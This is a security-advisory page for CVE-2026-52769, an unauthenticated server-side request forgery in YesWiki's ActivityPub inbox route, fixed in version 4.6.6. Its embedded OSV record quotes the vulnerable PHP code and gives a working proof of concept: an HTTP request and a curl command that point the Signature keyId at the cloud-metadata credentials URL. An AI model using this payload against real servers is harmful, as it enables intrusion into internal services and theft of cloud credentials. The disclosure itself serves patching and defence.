CVE-2026-52769: Yeswiki/yeswiki YesWiki Has Unauthenticated Server-Side Request Vulnerability
HIGHCVE-2026-52769 is a HIGH (CVSS 8.3) yeswiki has unauthenticated server-side request vulnerability (CWE-918: Server-Side Request Forgery (SSRF)) affecting Yeswiki/yeswiki libraries in the Packagist ecosystem. The issue involves yeswiki has unauthenticated server-side request forgery via activitypub `signature.keyid`. Remediation is available by upgrading affected packages to version 4.6.6.
CVE-2026-52769 at a Glance
Security Impact
CVSS: 8.3
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L).
How to Fix CVE-2026-52769
To remediate this vulnerability, upgrade all affected Yeswiki/yeswiki dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade yeswiki/yeswiki to 4.6.6
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for yeswiki/yeswiki
How to Check if You Are Affected
To determine whether your application is affected by CVE-2026-52769, inspect your project dependencies for Yeswiki/yeswiki:
inspect dependencies for yeswiki/yeswiki
Analyze the terminal output to locate any version of Yeswiki/yeswiki in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 4.6.6), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-918: Server-Side Request Forgery (SSRF), where the web server receives a url or similar request from an upstream component and retrieves the contents of this url, but it does not sufficiently ensure that the request is being sent to the expected destination. In Yeswiki/yeswiki, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-52769 Affected Yeswiki/yeswiki Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
yeswiki/yeswiki
|
Packagist |
≥ 4.6.2
< 4.6.6
|
4.6.6
|
References
Frequently Asked Questions
What is CVE-2026-52769?
Which Yeswiki/yeswiki versions are affected?
What version fixes CVE-2026-52769?
Is yeswiki/yeswiki affected?
What is the CVSS score of CVE-2026-52769?
What CWE is associated with CVE-2026-52769?
How can I check Packagist dependencies for CVE-2026-52769?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-vw42-752g-5mrp",
"modified" : "2026-07-09T20:58:33Z",
"published" : "2026-07-09T20:58:33Z",
"aliases" : [ "CVE-2026-52769" ],
"summary" : "YesWiki has Unauthenticated Server-Side Request Forgery via ActivityPub `Signature.keyId`",
"details" : "## Summary\nThe `POST /api/forms/{formId}/actor/inbox` route - exposed publicly with `acl:\"public\"` - accepts an HTTP `Signature` header whose `keyId` parameter is a URL. `HttpSignatureService::verifySignature()` parses the header and **immediately makes a server-side HTTP GET** to that URL, **before** any cryptographic verification or URL validation. An unauthenticated remote attacker can therefore make YesWiki issue arbitrary outbound HTTP requests to any host the server can reach - internal services, cloud-metadata endpoints (`169.254.169.254`), intranet-only admin panels, etc. - and read enough back via timing and error-message oracles to scan ports, enumerate services, and (on a real cloud instance) reach IAM metadata.\n\nThe only deployment-side precondition is that **ActivityPub be enabled on at least one Bazar form** (`bn_activitypub_enable = '1'`).\n\n## Details\n### Affected component\n\n* **File:** `tools/bazar/services/HttpSignatureService.php`\n* **Method:** `HttpSignatureService::verifySignature(Request $request)`\n* **Sink:** line **96**\n* **Route:** `tools/bazar/controllers/ApiController.php` line **125** — `@Route(\"/api/forms/{formId}/actor/inbox\", methods={\"POST\"}, options={\"acl\":{\"public\"}})`\n\n```php\n// tools/bazar/services/HttpSignatureService.php (v4.6.5 = origin/doryphore-dev HEAD,\n// lines 83–100)\npublic function verifySignature(Request $request) {\n if (!$request->headers->has('Signature')) {\n throw new Exception('No signature');\n }\n\n $sigConf = parse_ini_string(\n strtr($request->headers->get('Signature'), [\",\" => \"\\n\"]) // (a) attacker controls every field\n );\n\n if (!isset($sigConf['keyId'],$sigConf['algorithm'],$sigConf['headers'],$sigConf['signature'])) {\n throw new Exception('Malformed signature');\n }\n\n $response = $this->httpClient->request('GET', $sigConf['keyId'], [ // (b) SINK — no validation,\n 'headers' => [ 'Accept' => 'application/ld+json'] // no allowlist, no scheme\n ]); // pinning, no IP filtering\n ...\n}\n```\n\nThe inbox controller calls `verifySignature()` **before** running any cryptography:\n\n```php\n// tools/bazar/controllers/ApiController.php (lines 125–145)\n/** @Route(\"/api/forms/{formId}/actor/inbox\", methods={\"POST\"}, options={\"acl\":{\"public\"}}) */\npublic function postFormActorInbox($formId, Request $request)\n{\n $activityPubService = $this->getService(ActivityPubService::class);\n $httpSignatureService = $this->getService(HttpSignatureService::class);\n\n $form = $this->getService(BazarListService::class)->getForms(['idtypeannonce' => $formId])[$formId];\n\n if ($activityPubService->isEnabled($form)) {\n $activity = json_decode($request->getContent(), true);\n\n $httpSignatureService->verifySignature($request); // <-- SSRF fires here\n $activityPubService->processActivity($activity, $form);\n return new ApiResponse(null, Response::HTTP_OK, …);\n } else {\n throw new NotFoundHttpException();\n }\n}\n```\n\nThe flow is **public ACL → enabled-form gate → unconditional outbound HTTP**. The attacker controls only the `keyId` value and never has to produce a valid signature, because the outbound fetch is the very first thing that touches the network.\n\n### End-to-end attack chain\n\nA single HTTP request, no session, no CSRF token, no captcha:\n\n```http\nPOST /?api/forms/1/actor/inbox HTTP/1.1\nHost: target.example\nContent-Type: application/activity+json\nSignature: keyId=\"http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>\",algorithm=\"rsa-sha256\",headers=\"x\",signature=\"y\"\n\n{}\n```\n\n* The Symfony controller matches the route on `formId=1`.\n* `ActivityPubService::isEnabled($form)` returns true (set when the operator turned the feature on).\n* `verifySignature()` parses the header into a key-value array, finds `keyId`, and calls `httpClient->request('GET', '<attacker URL>')`.\n* YesWiki's server now reaches out to whatever URL the attacker provided. The response body is parsed as JSON; if it doesn't contain `publicKey.publicKeyPem` the controller returns an HTTP 500 whose JSON body **leaks the full exception message and stack trace**, including the URL.\n\n## PoC\n### Pre Reqs\n\n* Yeswiki v4.6.5 lab image (Setup via podman)\n* ActivityPub enabled on the target form\n\nFor the rest of this document:\n\n```bash\nBASE=\"http://localhost:8085\"\nCTR=\"yeswiki-poc\"\n```\n\nBefore we start, make sure ActivityPub is enabled on the target form\n\n```bash\npodman exec \"$CTR\" mysql -uroot yeswiki -e \\\n \"SELECT bn_id_nature AS id, bn_label_nature AS form, bn_activitypub_enable AS ap\n FROM yeswiki_nature WHERE bn_id_nature = 1;\"\n```\n\nSend the unauthenticated SSRF trigger:\n\n```bash\nTARGET=\"http://127.0.0.1:9999/aws-metadata?from=ssrf\"\n\ncurl -s -X POST \"${BASE}/?api/forms/1/actor/inbox\" \\\n -H \"Content-Type: application/activity+json\" \\\n -H \"Signature: keyId=\\\"${TARGET}\\\",algorithm=\\\"rsa-sha256\\\",headers=\\\"x\\\",signature=\\\"y\\\"\" \\\n -d '{}' \\\n -w '\\n HTTP %{http_code}, elapsed=%{time_total}s\\n'\n```\n\nYou will get an error in response like this: \n```json\n{\"exceptionMessage\":\"Exception: Missing public key in /var/www/html/tools/bazar/services/HttpSignatureService.php:103\\nStack trace:…\"}\n HTTP 500, elapsed=0.15s\n```\n\nThe `500` and the `\"Missing public key\"` exception are the **signal** the outbound fetch went all the way to the JSON parse — the listener returned `{}`, which contained no `publicKey` field, so the handler bailed *after* talking to the listener.\n\nTested with webhook:\n<img width=\"1473\" height=\"678\" alt=\"image\" src=\"https://github.com/user-attachments/assets/6c720c68-3087-4e1a-b990-0a9f12ba8bbc\" />",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Packagist",
"name" : "yeswiki/yeswiki"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "4.6.2"
}, {
"fixed" : "4.6.6"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/YesWiki/yeswiki/security/advisories/GHSA-vw42-752g-5mrp"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/YesWiki/yeswiki"
}, {
"type" : "WEB",
"url" : "http://github.com/YesWiki/yeswiki/commit/87e627f33e79879827a3669fee2aa1244612c487"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-918" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-07-09T20:58:33Z",
"nvd_published_at" : null
}
}